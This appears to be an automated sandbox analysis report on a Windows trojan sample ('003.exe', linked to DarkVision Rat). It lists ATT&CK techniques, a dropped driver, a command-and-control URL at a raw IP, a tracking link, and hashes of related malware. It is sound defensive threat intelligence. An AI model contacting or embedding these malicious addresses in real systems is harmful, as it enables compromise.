Credentials	Domains	Default Accounts	Scheduled Task/Job	2 LSASS Driver	2 Windows Service	1 Disable or Modify Tools	LSASS Memory	321 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 Process Injection	121 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Abuse Elevation Control Mechanism	1 Access Token Manipulation	NTDS	121 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	2 LSASS Driver	1 Process Injection	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Abuse Elevation Control Mechanism	DCSync	124 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	3 Obfuscated Files or Information	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Software Packing	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 DLL Side-Loading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
003.exe	39%	Virustotal		Browse
003.exe	56%	ReversingLabs	Win64.Trojan.Whisperer
SAMPLE	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\Temp\y5VWvTdZ_8184.sys	33%	ReversingLabs

Source	Detection	Scanner	Label
http://104.168.28.10/003/01/d1GPROFILE	0%	Avira URL Cloud	safe
http://104.168.28.10/003/01/d1d	0%	Avira URL Cloud	safe
http://104.168.28.10/003/01/d1b	0%	Avira URL Cloud	safe
http://104.168.28.10/003/01/d1N	0%	Avira URL Cloud	safe
http://104.168.28.10/003/01/d1I	0%	Avira URL Cloud	safe
http://104.168.28.10/003/01/d17	0%	Avira URL Cloud	safe
http://104.168.28.10/003/01/d1Z	0%	Avira URL Cloud	safe
http://104.168.28.10/003/01/d1_	0%	Avira URL Cloud	safe
http://104.168.28.10/003/01/d1C	0%	Avira URL Cloud	safe
http://104.168.28.10/003/01/d18	0%	Avira URL Cloud	safe
http://104.168.28.10/003/01/d1;	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.55.19	true	false	high
pki-goog.l.google.com	172.253.124.94	true	false	high
c.pki.goog	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://104.168.28.10/003/01/d1	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://104.168.28.10/003/01/d1GPROFILE	003.exe, 00000000.00000002.1388764650.0000000002413000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1475036298.00000275B3695000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1550675976.000001D5D3735000.00000004.00000800.00020000.00000000.sdmp	false		high
http://104.168.28.10/003/01/d1b	003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grabify.link/U7WLGD66	003.exe, 00000000.00000002.1389721189.00000000027BC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://104.168.28.10/003/01/d1d	003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.1496421207.000001D5C38E9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000001.00000002.1460697866.00000275A3848000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1496421207.000001D5C38E9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.1496421207.000001D5C38E9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.thawte.com0	003.exe, 00000000.00000003.1382744876.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp, y5VWvTdZ_8184.sys.0.dr	false		high
https://contoso.com/License	powershell.exe, 00000004.00000002.1550675976.000001D5D3735000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.mic	powershell.exe, 00000004.00000002.1561434354.000001D5DBF74000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000004.00000002.1550675976.000001D5D3735000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grabify.link/U7WLGD	003.exe, 00000000.00000002.1389721189.00000000027BC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://104.168.28.10/003/01/d1_	003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.1496421207.000001D5C38E9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://curl.haxx.se/docs/http-cookies.html	003.exe, 003.exe, 00000000.00000002.1388228893.0000000000780000.00000040.00000001.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1390481418.0000000140010000.00000004.00000001.01000000.00000003.sdmp	false		high
https://curl.haxx.se/docs/http-cookies.html#	003.exe	false		high
http://104.168.28.10/003/01/d1Z	003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.168.28.10/003/01/d1C	003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	003.exe, 00000000.00000003.1382744876.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp, y5VWvTdZ_8184.sys.0.dr	false		high
http://crl.thawte.com/ThawtePCA.crl0	003.exe, 00000000.00000003.1382744876.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp, y5VWvTdZ_8184.sys.0.dr	false		high
http://104.168.28.10/003/01/d1N	003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.168.28.10/003/01/d1I	003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000001.00000002.1460697866.00000275A3848000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1496421207.000001D5C38E9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000004.00000002.1550675976.000001D5D3735000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1475036298.00000275B3695000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1550675976.000001D5D3735000.00000004.00000800.00020000.00000000.sdmp	false		high
http://104.168.28.10/003/01/d17	003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.168.28.10/003/01/d18	003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micft.cMicRosof	powershell.exe, 00000004.00000002.1561434354.000001D5DBF74000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1460697866.00000275A3621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1496421207.000001D5C36C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.c	powershell.exe, 00000001.00000002.1485692820.00000275BBD72000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1460697866.00000275A3621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1496421207.000001D5C36C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://104.168.28.10/003/01/d1;	003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.168.28.10	unknown	United States		36352	AS-COLOCROSSINGUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1665182
Start date and time:	2025-04-15 11:32:49 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	003.exe
Detection:	MAL
Classification:	mal96.evad.winEXE@7/11@1/2
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 74% Number of executed functions: 35 Number of non-executed functions: 263
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 23.76.34.6, 20.109.210.53
Excluded domains from analysis (whitelisted): c2a9c95e369881c67228a6591cac2686.clo.footprintdns.com, ax-ring.msedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 6180 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7304 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.168.28.10	UZPt0hR.exe	Get hash	malicious	DarkVision Rat	Browse	104.168.28.10/003/01/d1
	SecuriteInfo.com.FileRepMalware.14920.16794.exe	Get hash	malicious	DarkVision Rat	Browse	104.168.28.10/003/01/d1
	SecuriteInfo.com.Win32.MalwareX-gen.15639.2654.exe	Get hash	malicious	DarkVision Rat	Browse	104.168.28.10/003/01/d1
	001.exe	Get hash	malicious	Unknown	Browse	104.168.28.10/001/01/d1
	003.exe	Get hash	malicious	Unknown	Browse	104.168.28.10/003/01/d1
	001.exe	Get hash	malicious	Unknown	Browse	104.168.28.10/001/01/d1
	003.exe	Get hash	malicious	Unknown	Browse	104.168.28.10/003/01/d1
	u75a1_003.exe	Get hash	malicious	DarkVision Rat	Browse	104.168.28.10/003/01/d1
	file.exe	Get hash	malicious	DarkVision Rat	Browse	104.168.28.10/003/01/d1

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pki-goog.l.google.com	PI1qW7yV9K.exe	Get hash	malicious	PureLog Stealer, Quasar	Browse	74.125.21.94
	25EAU0258.pdf.bat.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	74.125.136.94
	Zvernennya.docx.lnk	Get hash	malicious	Unknown	Browse	108.177.122.94
	SecuriteInfo.com.Trojan.MulDrop21.55508.32574.17762.exe	Get hash	malicious	XWorm	Browse	64.233.177.94
	Galaxy Swapper v2.0.3.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	142.250.9.94
	https://reviewcomenntsiite.com/	Get hash	malicious	AsyncRAT, DcRat	Browse	172.217.215.94
	js (2).js	Get hash	malicious	Unknown	Browse	142.251.15.94
	http://rednosehorse.com	Get hash	malicious	Unknown	Browse	74.125.138.94
	Proforma Invoice 070425.js	Get hash	malicious	AgentTesla	Browse	172.253.124.94
	CFD_I1328________________.exe	Get hash	malicious	DarkCloud	Browse	74.125.138.94
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	original.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	217.20.55.34
	pagamento8449.pdf	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	217.20.48.38
	SecuriteInfo.com.Trojan.KillProc2.24407.12035.31681.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	217.20.48.19
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	217.20.48.38
	OneDriveSetup.exe	Get hash	malicious	Unknown	Browse	217.20.48.24
	setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	217.20.48.37
	yap.bat	Get hash	malicious	Koadic	Browse	217.20.48.22
	Rd_client_w_a_s_d_patched.exe	Get hash	malicious	LummaC Stealer	Browse	217.20.55.20
	PA.bin.exe	Get hash	malicious	Unknown	Browse	217.20.51.39
	IMSoftware{Launcher}3.21.exe	Get hash	malicious	LummaC Stealer	Browse	217.20.55.21

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	sdf.hta	Get hash	malicious	Cobalt Strike	Browse	172.245.191.88
	GFL-001-2034-PO-BK - REV.docx.doc	Get hash	malicious	Unknown	Browse	192.3.140.103
	GFL-001-2034-PO-BK - REV.docx.doc	Get hash	malicious	Unknown	Browse	192.3.140.103
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	107.175.74.44
	truelifewithmanmadethingsonherefor.hta	Get hash	malicious	Cobalt Strike, DBatLoader, FormBook	Browse	192.3.26.143
	fgd.hta	Get hash	malicious	Cobalt Strike, DBatLoader, FormBook	Browse	192.3.26.143
	bestgreatfeelingigotfromtheworkthfulplaceback.hta	Get hash	malicious	Cobalt Strike, DBatLoader, MSIL Logger, MassLogger RAT, PureLog Stealer	Browse	192.3.26.143
	SecuriteInfo.com.FileRepMalware.15881.18357.exe	Get hash	malicious	GuLoader	Browse	192.210.150.28
	cwilliams-Statement-bak.zip	Get hash	malicious	ScreenConnect Tool	Browse	23.94.126.136

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\y5VWvTdZ_8184.sys	pGhCMX9vwu.exe	Get hash	malicious	Amadey, DarkVision Rat, LummaC Stealer	Browse
	UZPt0hR.exe	Get hash	malicious	DarkVision Rat	Browse
	SecuriteInfo.com.FileRepMalware.14920.16794.exe	Get hash	malicious	DarkVision Rat	Browse
	SecuriteInfo.com.Win32.MalwareX-gen.15639.2654.exe	Get hash	malicious	DarkVision Rat	Browse
	001.exe	Get hash	malicious	Unknown	Browse
	003.exe	Get hash	malicious	Unknown	Browse
	001.exe	Get hash	malicious	Unknown	Browse
	003.exe	Get hash	malicious	Unknown	Browse
	u75a1_003.exe	Get hash	malicious	DarkVision Rat	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_540zudpt.lhu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bb4a2n3s.hxb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dqgtxyxi.yxc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_luztmgb2.2y3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_urkh44vx.i3o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vic01ywg.awd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xstfdcst.3gi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zjdus0v0.0fe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\7MXAb89_8184.tmp

Download File

Process:	C:\Users\user\Desktop\003.exe
File Type:	data
Category:	dropped
Size (bytes):	5606384
Entropy (8bit):	7.999967533782092
Encrypted:	true
